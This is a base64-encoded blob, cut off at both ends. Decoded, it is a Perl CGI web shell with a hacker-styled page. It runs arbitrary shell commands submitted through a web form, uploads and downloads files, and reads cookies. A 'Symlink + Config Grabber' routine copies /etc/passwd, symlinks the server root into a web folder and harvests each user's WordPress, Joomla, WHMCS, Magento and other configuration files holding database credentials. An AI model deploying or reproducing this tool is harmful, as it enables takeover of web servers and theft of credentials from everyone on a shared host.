K24wWnR2ajZ5OFMzVzA3WnVmSithRk5vYjdWamxCZjJLR2M3K2VKMktQV3ZwUE9BcFpQYkVQOXBycGtCektzb29jRjNiNWRIK0hkT1JDSTkxZXp3Vnhvb1ovNlZQcUtueURwSkppaWNua08rcDBGdXo4N2t0MDF6R0psL083UDdYZkc5OEFvdE9sbHdBZU5wdDBFVnNGSEVVeC9IdmEzZTc3ZGJkS2U0eU05dXA0THR0QjNkM0NyVkZXdGl5dUliaUVnZ0pOd2gyQVlKcklNQUJDRzVCQWh3NDQrRUFYR0hhK1hQakpTK2Z2UC9oOTE3K1JOQlNmOXgwNW4vMXlXNlJDSWtrRWhkdW92QVFUUXhlWW9ram5nUVNTU0taRkZKSkk1ME1Nc2tpbXh4eXlTT2ZWaFRRbWphMHBSM3Q2VUJIT3RtYnV0Q1ZiblNuQnozcGhZYU9nWTlDVElvb3BvUlNldE9IdnZTalB3TVlpSjhBWlpSVGdjVWdCak9Fb1F4ak9DTVl5U2hHTTRheGpHTThFNWpJSkNZemhhbE1Zem96bU1rc1psTXBMbzdTeENadXNKK1BiR1kzT3pqQWNZNkptKzI4WnlQN0pFbzg3SkpvdG5LYkR4TERRVTd3aTUvODVnaW5lTUE5VGpPSHVleWhpa2RVYzUrSFBPTXhUM2hxLzFNTkwzbk9DODVReXcvMjhvWlh2S2FPTDN4akcvTUlNcCtGTEtDZVF6U3dtRVdFYUNUTUVwYXlqTThzWnlVcldNVWFWbk9WdzZ4akxldlp3RmUrYzQyem5PTTZiM2tuWG9tVk9JbVhCRW1VSkVtV0ZFbVZORW1YRE1ua1BCZTR6Qlh1Y0pGTDNHVUxKeVdMbTl5U2JNbGhwK1JLbnVSN3d2VkJUZFBLSFhXbFgxT3FPV0FvZlVwVFdkcXNZUWNvZGFXaDlDa0xsYWF5U0Ztc0xGSCt5L003NmlwWDE3MDF3ZHB3cUxxcXNySE9lVElzUjlOeVZZUkREUzJEYVpVMWF3V2NPMnlOdnc2cm1WUUFBSGphUGN3OUVzRkFIQVh3YkZZMmtjK05DU296TVhSYmFiUWFTWlBHcUxJenptRkdwMUZ5Q2dmNFIrVVNqdUFzUEt6dDN1L05tM2RucnhPeHM5TlFzR2s3eGk2NnE0VnFweVIxUThVVzRhZ25KTlN1ZFlpWEZYRzFKbEZXTi81MDFSY2VJSzRHUGNBN0dQaWYyY01nQVB5aFFSOElzaDhZaGVZMlFodEtWM1c4M29NeEdJMHNFekJlV2FaZ3NyRE13SFJ1S2NGc1pwbURjbXc1QVBQbG41b0s5UWJpQmtxc0FBQUJVcVoxV2dBQSkgZm9ybWF0KCd3b2ZmJyk7DQogICAgZm9udC13ZWlnaHQ6IG5vcm1hbDsNCiAgICBmb250LXN0eWxlOiBub3JtYWw7DQoNCn0NCg0KYm9keSB7DQpmb250LWZhbWlseTogInVidW50dV9tb25vcmVndWxhciI7DQpmb250LXNpemU6MTJweDsNCmJhY2tncm91bmQtcmVwZWF0OiBuby1yZXBlYXQ7DQpiYWNrZ3JvdW5kLWF0dGFjaG1lbnQ6IGZpeGVkOw0KYmFja2dyb3VuZC1wb3NpdGlvbjogY2VudGVyIGNlbnRlcjsNCmJhY2tncm91bmQtc2l6ZTogMTAwJSAxMDAlOw0KYmFja2dyb3VuZC1jb2xvcjojMmQyYjJiOw0KY29sb3I6bGltZTsNCmJhY2tncm91bmQtaW1hZ2U6IHVybCgnaHR0cHM6Ly9zdGF0aWMuemVyb2NoYW4ubmV0L0FsbGVuLldhbGtlci5mdWxsLjEwMTIyMTUuanBnJyk7DQp9DQojbmF2e3Bvc2l0aW9uOmZpeGVkO3otaW5kZXg6OTk5O3RvcDowO3dpZHRoOjEwMCU7bGVmdDo3MCU7DQp9DQphLm5hdi1mb2t1cyB7ZGlzcGxheTpibG9jazsgd2lkdGg6YXV0bzsgaGVpZ2h0OmF1dG87IGJhY2tncm91bmQ6IzE5MTkxOTsgYm9yZGVyLXRvcDowcHg7IGJvcmRlci1sZWZ0OiAxcHggc29saWQgI2ZmZjsgYm9yZGVyLXJpZ2h0OjFweCBzb2xpZCAjZmZmOyAgYm9yZGVyLWJvdHRvbToxcHggc29saWQgI2ZmZjsgIHBhZGRpbmc6NXB4IDhweDsgdGV4dC1hbGlnbjpjZW50ZXI7IHRleHQtZGVjb3JhdGlvbjpub25lOyBjb2xvcjpyZWQ7IGxpbmUtaGVpZ2h0OjIwcHg7IG92ZXJmbG93OmhpZGRlbjsgZmxvYXQ6bGVmdDsNCn0NCmEubmF2LWZva3VzOmhvdmVyIHtjb2xvcjojRkZGRkZGOyBiYWNrZ3JvdW5kOiMxOTE5MTk7IGJvcmRlci10b3A6MHB4OyBib3JkZXItbGVmdDogMXB4IHNvbGlkICNmZmY7IGJvcmRlci1yaWdodDoxcHggc29saWQgI2ZmZjsgIGJvcmRlci1ib3R0b206MXB4IHNvbGlkICNmZmY7DQp9DQppbnB1dFt0eXBlPXRleHRdew0KCWJhY2tncm91bmQ6IHRyYW5zcGFyZW50OyANCgljb2xvcjp3aGl0ZTsNCgltYXJnaW46MCAxMHB4Ow0KCWZvbnQtZmFtaWx5OkhvbWVuYWplOw0KCWZvbnQtc2l6ZToxM3B4Ow0KCWJvcmRlcjpub25lOw0KfQ0KaW5wdXRbdHlwZT1zdWJtaXRdIHsNCgliYWNrZ3JvdW5kOiBibGFjazsgDQoJY29sb3I6d2hpdGU7DQoJbWFyZ2luOjAgMTBweDsNCglmb250LWZhbWlseTpIb21lbmFqZTsNCglmb250LXNpemU6MTNweDsNCglib3JkZXI6bm9uZTsNCg0KPC9zdHlsZT4NCjwvaGVhZD4NCjxib2R5IG9uTG9hZD0iZG9jdW1lbnQuZi5AXy5mb2N1cygpIiBiZ2NvbG9yPSIyZDJiMmIiIHRvcG1hcmdpbj0iMCIgbGVmdG1hcmdpbj0iMCIgbWFyZ2lud2lkdGg9IjAiIG1hcmdpbmhlaWdodD0iMCI+DQo8ZGl2IGlkPSJuYXYiPg0KPGEgY2xhc3M9Im5hdi1mb2t1cyIgaHJlZj0iJFNjcmlwdExvY2F0aW9uPyI+PGI+SG9tZTwvYj48L2E+DQo8YSBjbGFzcz0ibmF2LWZva3VzIiBocmVmPSIkU2NyaXB0TG9jYXRpb24/YT1oZWxwIj48Yj5IZWxwPC9iPjwvYT4NCjxhIGNsYXNzPSJuYXYtZm9rdXMiIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPXVwbG9hZCI+PGI+VXBsb2FkPC9iPjwvYT4NCjxhIGNsYXNzPSJuYXYtZm9rdXMiIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPWRvd25sb2FkIj48Yj5Eb3dubG9hZDwvYj48L2E+DQo8YSBjbGFzcz0ibmF2LWZva3VzIiBocmVmPSIkU2NyaXB0TG9jYXRpb24/YT1zeW1jb25maWciPjxiPlN5bWxpbmsgKyBDb25maWcgR3JhYmJlcjwvYj48L2E+PC9kaXY+DQo8YnI+DQo8Zm9udCBjb2xvcj0ibGltZSIgc2l6ZT0iMyI+DQpFTkQNCn0NCnN1YiBQcmludFBhZ2VGb290ZXINCnsNCnByaW50ICI8L2ZvbnQ+PC9ib2R5PjwvaHRtbD4iOw0KfQ0KDQpzdWIgR2V0Q29va2llcw0Kew0KQGh0dHBjb29raWVzID0gc3BsaXQoLzsgLywkRU5WeydIVFRQX0NPT0tJRSd9KTsNCmZvcmVhY2ggJGNvb2tpZShAaHR0cGNvb2tpZXMpDQp7DQooJGlkLCAkdmFsKSA9IHNwbGl0KC89LywgJGNvb2tpZSk7DQokQ29va2llc3skaWR9ID0gJHZhbDsNCn0NCn0NCg0Kc3ViIFByaW50Q29tbWFuZExpbmVJbnB1dEZvcm0NCnsNCiRQcm9tcHQgPSAkV2luTlQgPyAiJEN1cnJlbnREaXI+ICIgOiAiW2FkbWluXEAkU2VydmVyTmFtZSAkQ3VycmVudERpcl1cJCAiOw0KICAgIHByaW50IDw8RU5EOw0KPGNvZGU+DQo8Zm9ybSBuYW1lPSJmIiBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iPyI+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0iY29tbWFuZCI+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkIiB2YWx1ZT0iJEN1cnJlbnREaXIiPg0KJFByb21wdA0KPGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImMiPg0KPC9mb3JtPg0KPC9jb2RlPg0KRU5EDQp9DQoNCnN1YiBQcmludEZpbGVEb3dubG9hZEZvcm0NCnsNCiRQcm9tcHQgPSAkV2luTlQgPyAiJEN1cnJlbnREaXI+ICIgOiAiW2FkbWluXEAkU2VydmVyTmFtZSAkQ3VycmVudERpcl1cICI7DQpwcmludCA8PEVORDsNCjxjb2RlPjxjZW50ZXI+PGJyPg0KPGZvbnQgY29sb3I9bGltZT48Yj48aT48Zm9ybSBuYW1lPSJmIiBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iJFNjcmlwdExvY2F0aW9uIj4NCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImQiIHZhbHVlPSIkQ3VycmVudERpciI+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0iZG93bmxvYWQiPg0KJFByb21wdCBkb3dubG9hZDxicj48YnI+DQpGaWxlbmFtZTogPGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImYiIHNpemU9IjM1Ij48YnI+PGJyPg0KRG93bmxvYWQ6IDxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJCZWdpbiI+DQo8L2Zvcm0+DQo8L2k+PC9iPjwvZm9udD48L2NlbnRlcj4NCjwvY29kZT4NCkVORA0KfQ0KDQpzdWIgUHJpbnRGaWxlVXBsb2FkRm9ybQ0Kew0KJFByb21wdCA9ICRXaW5OVCA/ICIkQ3VycmVudERpcj4gIiA6ICJbYWRtaW5cQCRTZXJ2ZXJOYW1lICRDdXJyZW50RGlyXVwkICI7DQpwcmludCA8PEVORDsNCjxjb2RlPjxicj48Y2VudGVyPjxmb250IGNvbG9yPWxpbWU+PGI+PGk+PGZvcm0gbmFtZT0iZiIgZW5jdHlwZT0ibXVsdGlwYXJ0L2Zvcm0tZGF0YSIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+DQokUHJvbXB0IHVwbG9hZDxicj48YnI+DQpGaWxlbmFtZTogPGlucHV0IHR5cGU9ImZpbGUiIG5hbWU9ImYiIHNpemU9IjM1Ij48YnI+PGJyPg0KT3B0aW9uczogPGlucHV0IHR5cGU9ImNoZWNrYm94IiBuYW1lPSJvIiB2YWx1ZT0ib3ZlcndyaXRlIj4NCk92ZXJ3cml0ZSBpZiBpdCBFeGlzdHM8YnI+PGJyPg0KVXBsb2FkOiA8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iQmVnaW4iPg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZCIgdmFsdWU9IiRDdXJyZW50RGlyIj4NCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJ1cGxvYWQiPg0KPC9mb3JtPjwvaT48L2I+PC9mb250Pg0KPC9jZW50ZXI+DQo8L2NvZGU+DQpFTkQNCn0NCg0Kc3ViIENvbW1hbmRUaW1lb3V0DQp7DQppZighJFdpbk5UKQ0Kew0KYWxhcm0oMCk7DQpwcmludCA8PEVORDsNCjwveG1wPg0KPGNvZGU+DQpDb21tYW5kIGV4Y2VlZGVkIG1heGltdW0gdGltZSBvZiAkQ29tbWFuZFRpbWVvdXREdXJhdGlvbiBzZWNvbmQocykuDQo8YnI+S2lsbGVkIGl0IQ0KPGNvZGU+DQpFTkQNCiZQcmludENvbW1hbmRMaW5lSW5wdXRGb3JtOw0KJlByaW50UGFnZUZvb3RlcjsNCmV4aXQ7DQp9DQp9DQpzdWIgRXhlY3V0ZUNvbW1hbmQNCnsNCiAgIGlmKCRSdW5Db21tYW5kID1+IG0vXlxzKmNkXHMrKC4rKS8pICMgaXQgaXMgYSBjaGFuZ2UgZGlyIGNvbW1hbmQNCiAgICB7DQogICAgICAgICMgd2UgY2hhbmdlIHRoZSBkaXJlY3RvcnkgaW50ZXJuYWxseS4gVGhlIG91dHB1dCBvZiB0aGUNCiAgICAgICAgIyBjb21tYW5kIGlzIG5vdCBkaXNwbGF5ZWQuDQogICAgICAgDQogICAgICAgICRPbGREaXIgPSAkQ3VycmVudERpcjsNCiAgICAgICAgJENvbW1hbmQgPSAiY2QgXCIkQ3VycmVudERpclwiIi4kQ21kU2VwLiJjZCAkMSIuJENtZFNlcC4kQ21kUHdkOw0KICAgICAgICBjaG9wKCRDdXJyZW50RGlyID0gYCRDb21tYW5kYCk7DQogICAgICAgICZQcmludFBhZ2VIZWFkZXIoImMiKTsNCiAgICAgICAgJFByb21wdCA9ICRXaW5OVCA/ICIkT2xkRGlyPiAiIDogIlthZG1pblxAJFNlcnZlck5hbWUgJE9sZERpcl1cJCAiOw0KICAgICAgICBwcmludCAiPGNvZGU+JFByb21wdCAkUnVuQ29tbWFuZDwvY29kZT4iOw0KICAgIH0NCiAgICBlbHNlICMgc29tZSBvdGhlciBjb21tYW5kLCBkaXNwbGF5IHRoZSBvdXRwdXQNCiAgICB7DQogICAgICAgICZQcmludFBhZ2VIZWFkZXIoImMiKTsNCiAgICAgICAgJFByb21wdCA9ICRXaW5OVCA/ICIkQ3VycmVudERpcj4gIiA6ICJbYWRtaW5cQCRTZXJ2ZXJOYW1lICRDdXJyZW50RGlyXVwkICI7DQogICAgICAgIHByaW50ICI8Y29kZT4kUHJvbXB0ICRSdW5Db21tYW5kPC9jb2RlPjx4bXA+IjsNCiAgICAgICAgJENvbW1hbmQgPSAiY2QgXCIkQ3VycmVudERpclwiIi4kQ21kU2VwLiRSdW5Db21tYW5kLiRSZWRpcmVjdG9yOw0KICAgICAgICBpZighJFdpbk5UKQ0KICAgICAgICB7DQogICAgICAgICAgICAkU0lHeydBTFJNJ30gPSBcJkNvbW1hbmRUaW1lb3V0Ow0KICAgICAgICAgICAgYWxhcm0oJENvbW1hbmRUaW1lb3V0RHVyYXRpb24pOw0KICAgICAgICB9DQogICAgICAgIGlmKCRTaG93RHluYW1pY091dHB1dCkgIyBzaG93IG91dHB1dCBhcyBpdCBpcyBnZW5lcmF0ZWQNCiAgICAgICAgew0KICAgICAgICAgICAgJHw9MTsNCiAgICAgICAgICAgICRDb21tYW5kIC49ICIgfCI7DQogICAgICAgICAgICBvcGVuKENvbW1hbmRPdXRwdXQsICRDb21tYW5kKTsNCiAgICAgICAgICAgIHdoaWxlKDxDb21tYW5kT3V0cHV0PikNCiAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAkXyA9fiBzLyhcbnxcclxuKSQvLzsNCiAgICAgICAgICAgICAgICBwcmludCAiJF9cbiI7DQogICAgICAgICAgICB9DQogICAgICAgICAgICAkfD0wOw0KICAgICAgICB9DQogICAgICAgIGVsc2UgIyBzaG93IG91dHB1dCBhZnRlciBjb21tYW5kIGNvbXBsZXRlcw0KICAgICAgICB7DQogICAgICAgICAgICBwcmludCBgJENvbW1hbmRgOw0KICAgICAgICB9DQogICAgICAgIGlmKCEkV2luTlQpDQogICAgICAgIHsNCiAgICAgICAgICAgIGFsYXJtKDApOw0KICAgICAgICB9DQogICAgICAgIHByaW50ICI8L3htcD4iOw0KICAgIH0NCiAgICAmUHJpbnRDb21tYW5kTGluZUlucHV0Rm9ybTsNCiAgICAmUHJpbnRQYWdlRm9vdGVyOw0KfQ0Kc3ViIFByaW50RG93bmxvYWRMaW5rUGFnZQ0Kew0KbG9jYWwoJEZpbGVVcmwpID0gQF87DQppZigtZSAkRmlsZVVybCkgIyBpZiB0aGUgZmlsZSBleGlzdHMNCnsNCiMgZW5jb2RlIHRoZSBmaWxlIGxpbmsgc28gd2UgY2FuIHNlbmQgaXQgdG8gdGhlIGJyb3dzZXINCiRGaWxlVXJsID1+IHMvKFteYS16QS1aMC05XSkvJyUnLnVucGFjaygiSCoiLCQxKS9lZzsNCiREb3dubG9hZExpbmsgPSAiJFNjcmlwdExvY2F0aW9uP2E9ZG93bmxvYWQmZj0kRmlsZVVybCZvPWdvIjsNCiRIdG1sTWV0YUhlYWRlciA9ICI8bWV0YSBIVFRQLUVRVUlWPVwiUmVmcmVzaFwiIENPTlRFTlQ9XCIxOyBVUkw9JERvd25sb2FkTGlua1wiPiI7DQomUHJpbnRQYWdlSGVhZGVyKCJjIik7DQpwcmludCA8PEVORDsNCjxjb2RlPg0KU2VuZGluZyBGaWxlICRUcmFuc2ZlckZpbGUuLi48YnI+DQpJZiB0aGUgZG93bmxvYWQgZG9lcyBub3Qgc3RhcnQgYXV0b21hdGljYWxseSwNCjxhIGhyZWY9IiREb3dubG9hZExpbmsiPkNsaWNrIEhlcmU8L2E+Lg0KPC9jb2RlPg0KRU5EDQomUHJpbnRDb21tYW5kTGluZUlucHV0Rm9ybTsNCiZQcmludFBhZ2VGb290ZXI7DQp9DQplbHNlICMgZmlsZSBkb2Vzbid0IGV4aXN0DQp7DQomUHJpbnRQYWdlSGVhZGVyKCJmIik7DQpwcmludCAiPGNvZGU+RmFpbGVkIHRvIGRvd25sb2FkICRGaWxlVXJsOiAkITwvY29kZT4iOw0KJlByaW50RmlsZURvd25sb2FkRm9ybTsNCiZQcmludFBhZ2VGb290ZXI7DQp9DQp9DQpzdWIgU3ltQ29uZmlnDQp7DQojIS91c3IvYmluL3BlcmwgLUkvdXNyL2xvY2FsL2JhbmRtaW4NCnVzZSBGaWxlOjpDb3B5OyB1c2Ugc3RyaWN0OyB1c2Ugd2FybmluZ3M7IHVzZSBNSU1FOjpCYXNlNjQ7DQpteSAkZmlsZW5hbWUgPSAncGFzc3dkLnR4dCc7DQppZiAoIS1lICRmaWxlbmFtZSkgeyBjb3B5KCIvZXRjL3Bhc3N3ZCIsInBhc3N3ZC50eHQiKSA7DQp9DQpta2RpciAic3ltbGlua19jb25maWciOw0Kc3ltbGluaygiLyIsInN5bWxpbmtfY29uZmlnL3Jvb3QiKTsNCm15ICRodGFjY2VzcyA9IGRlY29kZV9iYXNlNjQoIlQzQjBhVzl1Y3lCSmJtUmxlR1Z6SUVadmJHeHZkMU41YlV4cGJtdHpEUXBFYVhKbFkzUnZjbmxKYm1SbGVDQmpiMjQzWlhoMExtaDBiUTBLUVdSa1ZIbHdaU0IwWlhoMEwzQnNZV2x1SUM1d2FIQWdEUXBCWkdSSVlXNWtiR1Z5SUhSbGVIUXZjR3hoYVc0Z0xuQm9jQTBLVTJGMGFYTm1lU0JCYm5rTkNrbHVaR1Y0VDNCMGFXOXVjeUFyUTJoaGNuTmxkRDFWVkVZdE9DQXJSbUZ1WTNsSmJtUmxlR2x1WnlBclNXZHViM0psUTJGelpTQXJSbTlzWkdWeWMwWnBjbk4wSUN0WVNGUk5UQ0FyU0ZSTlRGUmhZbXhsSUN0VGRYQndjbVZ6YzFKMWJHVnpJQ3RUZFhCd2NtVnpjMFJsYzJOeWFYQjBhVzl1SUN0T1lXMWxWMmxrZEdnOUtpQU5Da2x1WkdWNFNXZHViM0psSUNvdWRIaDBOREEwRFFwU1pYZHlhWFJsUlc1bmFXNWxJRTl1RFFwU1pYZHlhWFJsUTI5dVpDQWxlMUpGVVZWRlUxUmZSa2xNUlU1QlRVVjlJRjR1S25ONWJXeHBibXRmWTI5dVptbG5JRnRPUTEwTkNsSmxkM0pwZEdWU2RXeGxJRnd1ZEhoMEpDQWxlMUpGVVZWRlUxUmZWVkpKZlRRd05DQmJUQ3hTUFRNd01pNU9RMTA9Iik7DQpteSAkeHN5bTQwNCA9IGRlY29kZV9iYXNlNjQoIlQzQjBhVzl1Y3lCSmJtUmxlR1Z6SUVadmJHeHZkMU41YlV4cGJtdHpEUXBFYVhKbFkzUnZjbmxKYm1SbGVDQmpiMjQzWlhoMExtaDBiUTBLU0dWaFpHVnlUbUZ0WlNCd2NIRXVkSGgwRFFwVFlYUnBjMlo1SUVGdWVRMEtTVzVrWlhoUGNIUnBiMjV6SUVsbmJtOXlaVU5oYzJVZ1JtRnVZM2xKYm1SbGVHbHVaeUJHYjJ4a1pYSnpSbWx5YzNRZ1RtRnRaVmRwWkhSb1BTb2dSR1Z6WTNKcGNIUnBiMjVYYVdSMGFEMHFJRk4xY0hCeVpYTnpTRlJOVEZCeVpXRnRZbXhsRFFwSmJtUmxlRWxuYm05eVpTQXEiKTsNCm9wZW4obXkgJGZoMSwgJz4nLCAnc3ltbGlua19jb25maWcvLmh0YWNjZXNzJyk7IHByaW50ICRmaDEgIiRodGFjY2VzcyI7IGNsb3NlICRmaDE7IG9wZW4obXkgJHh4LCAnPicsICdzeW1saW5rX2NvbmZpZy9uZW11LnR4dCcpOyBwcmludCAkeHggIiR4c3ltNDA0IjsgY2xvc2UgJHh4OyBvcGVuKG15ICRmaCwgJzw6ZW5jb2RpbmcoVVRGLTgpJywgJGZpbGVuYW1lKTsgd2hpbGUgKG15ICRyb3cgPSA8JGZoPikgeyBteSBAbWF0Y2hlcyA9ICRyb3cgPX4gLyguKj8pOng6L2c7IG15ICR1c2VybnlhID0gJDE7IG15IEBhcnJheSA9ICgge2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nLy5hY2Nlc3NoYXNoJywgdHlwZSA9PiAnV0hNLWFjY2Vzc2hhc2gnIH0sIHtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9jb25maWcva29uZWtzaS5waHAnLCB0eXBlID0+ICdMb2tvbWVkaWEnIH0sIHtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9saWIvY29uZmlnLnBocCcsIHR5cGUgPT4gJ0JhbGl0YmFuZycgfSwge2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL2NvbmZpZy9zZXR0aW5ncy5pbmMucGhwJywgdHlwZSA9PiAnUHJlc3RhU2hvcCcgfSwge2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL2FwcC9ldGMvbG9jYWwueG1sJywgdHlwZSA9PiAnTWFnZW50bycgfSwge2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL2FkbWluL2NvbmZpZy5waHAnLCB0eXBlID0+ICdPcGVuQ2FydCcgfSwge2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL2FwcGxpY2F0aW9uL2NvbmZpZy9kYXRhYmFzZS5waHAnLCB0eXBlID0+ICdFbGxpc2xhYicgfSwge2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL3dwLWNvbmZpZy5waHAnLCB0eXBlID0+ICdXb3JkcHJlc3MnIH0sIHtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC93cC90ZXN0L3dwLWNvbmZpZy5waHAnLCB0eXBlID0+ICdXb3JkcHJlc3MnIH0sIHtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9ibG9nL3dwLWNvbmZpZy5waHAnLCB0eXBlID0+ICdXb3JkcHJlc3MnIH0sIHtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9iZXRhL3dwLWNvbmZpZy5waHAnLCB0eXBlID0+ICdXb3JkcHJlc3MnIH0sIHtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9wb3J0YWwvd3AtY29uZmlnLnBocCcsIHR5cGUgPT4gJ1dvcmRwcmVzcycgfSwge2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL3NpdGUvd3AtY29uZmlnLnBocCcsIHR5cGUgPT4gJ1dvcmRwcmVzcycgfSwge2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL3dwL3dwLWNvbmZpZy5waHAnLCB0eXBlID0+ICdXb3JkcHJlc3MnIH0sIHtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9XUC93cC1jb25maWcucGhwJywgdHlwZSA9PiAnV29yZHByZXNzJyB9LCB7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvbmV3cy93cC1jb25maWcucGhwJywgdHlwZSA9PiAnV29yZHByZXNzJyB9LCB7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvd29yZHByZXNzL3dwLWNvbmZpZy5waHAnLCB0eXBlID0+ICdXb3JkcHJlc3MnIH0sIHtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC90ZXN0L3dwLWNvbmZpZy5waHAnLCB0eXBlID0+ICdXb3JkcHJlc3MnIH0sIHtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9kZW1vL3dwLWNvbmZpZy5waHAnLCB0eXBlID0+ICdXb3JkcHJlc3MnIH0sIHtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9ob21lL3dwLWNvbmZpZy5waHAnLCB0eXBlID0+ICdXb3JkcHJlc3MnIH0sIHtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC92MS93cC1jb25maWcucGhwJywgdHlwZSA9PiAnV29yZHByZXNzJyB9LCB7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvdjIvd3AtY29uZmlnLnBocCcsIHR5cGUgPT4gJ1dvcmRwcmVzcycgfSwge2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL3ByZXNzL3dwLWNvbmZpZy5waHAnLCB0eXBlID0+ICdXb3JkcHJlc3MnIH0sIHtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9uZXcvd3AtY29uZmlnLnBocCcsIHR5cGUgPT4gJ1dvcmRwcmVzcycgfSwge2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL2Jsb2dzL3dwLWNvbmZpZy5waHAnLCB0eXBlID0+ICdXb3JkcHJlc3MnIH0sIHtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9jb25maWd1cmF0aW9uLnBocCcsIHR5cGUgPT4gJ0pvb21sYScgfSwge2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL2Jsb2cvY29uZmlndXJhdGlvbi5waHAnLCB0eXBlID0+ICdKb29tbGEnIH0sIHtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9zdWJtaXR0aWNrZXQucGhwJywgdHlwZSA9PiAnXldITUNTJyB9LCB7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvY21zL2NvbmZpZ3VyYXRpb24ucGhwJywgdHlwZSA9PiAnSm9vbWxhJyB9LCB7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvYmV0YS9jb25maWd1cmF0aW9uLnBocCcsIHR5cGUgPT4gJ0pvb21sYScgfSwge2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL3BvcnRhbC9jb25maWd1cmF0aW9uLnBocCcsIHR5cGUgPT4gJ0pvb21sYScgfSwge2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL3NpdGUvY29uZmlndXJhdGlvbi5waHAnLCB0eXBlID0+ICdKb29tbGEnIH0sIHtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9tYWluL2NvbmZpZ3VyYXRpb24ucGhwJywgdHlwZSA9PiAnSm9vbWxhJyB9LCB7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvaG9tZS9jb25maWd1cmF0aW9uLnBocCcsIHR5cGUgPT4gJ0pvb21sYScgfSwge2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL2RlbW8vY29uZmlndXJhdGlvbi5waHAnLCB0eXBlID0+ICdKb29tbGEnIH0sIHtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC90ZXN0L2NvbmZpZ3VyYXRpb24ucGhwJywgdHlwZSA9PiAnSm9vbWxhJyB9LCB7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvdjEvY29uZmlndXJhdGlvbi5waHAnLCB0eXBlID0+ICdKb29tbGEnIH0sIHtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC92Mi9jb25maWd1cmF0aW9uLnBocCcsIHR5cGUgPT4gJ0pvb21sY